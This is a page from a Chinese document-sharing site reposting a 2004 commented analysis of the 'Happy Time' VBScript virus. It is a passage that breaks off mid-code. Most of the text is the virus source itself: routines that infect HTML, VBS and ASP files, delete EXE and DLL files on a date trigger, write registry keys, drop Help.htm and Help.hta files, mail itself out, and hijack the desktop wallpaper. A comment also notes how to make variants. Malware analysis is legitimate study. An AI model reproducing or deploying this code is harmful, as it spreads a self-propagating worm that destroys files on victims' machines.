【#第一文档网# 导语】以下是®第一文档网的小编为您整理的《欢乐时光代码分析》,欢迎阅读!
欢乐时光代码分析 作者: billlai 整理日期:2004年6月15日 *************** 欢乐时光 *************** Rem I am sorry! happy time On Error Resume Next Mload '以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。 Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") '建立枚举对象,避开了安全审核 If IsHTML Then '调用IsHtml函数,如果是Html,就小写„„ mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() '如果mPath为空,就在C盘下生成Help.htm Ihtml = "" '超文本的内容,并指向C:\Help.Htm Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) '设置超时条件 main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" '生成Help.hta End If End If End If Else Main '都不是,就执行main函数 End If End Sub '****************************************************************** '以下为主函数,太长了! Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '不用说,创建FileSystemObject对象啦 Set Od = CreateObject("Scripting.Dictionary") '创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组 Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" '向Dictionary对象添加要感染的项目对 Ks = "HKEY_CURRENT_USER\Software\" '使用变量以减少代码长度 Ds = Grf() Cs = Gsf() If IsVbs Then '如果是VBS If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") '如果c:\help.htm存在,就删掉,消灭遗留的痕迹 End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then '如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可) Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" '就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用 End If Cn = Rg(Ks & "Help\Count") '读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值 If Cn = "" Then Cn = 1 '如果Count为0,就设为1 End If Rw Ks & "Help\Count", Cn + 1 '添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2 f1 = Rg(Ks & "Help\FileName") '再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1) '得到该文件的文件名 fext = GetExt(Of, Od, f2) '得到该文件扩展名的代号 Rw Ks & "Help\FileName", f2 '添加键值 If IsDel(fext) Then '如果扩展名代号的第四个字符为1——即0001(exe、dll) f3 = f2 '储存文件名 f2 = FNext(Of, Od, f2) '得到文件的文件名? Rw Ks & "Help\FileName", f2 '写注册表 Of.DeleteFile f3 '删除文件 Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then '如果不是集合中的文件 Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then '使用 Cint函数强制执行转换,并发邮件 Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then '比较桌面墙纸是否已改变 If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") '创建超文本 pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'>< 本文来源:https://www.dywdw.cn/2799c8b465ce0508763213e1.html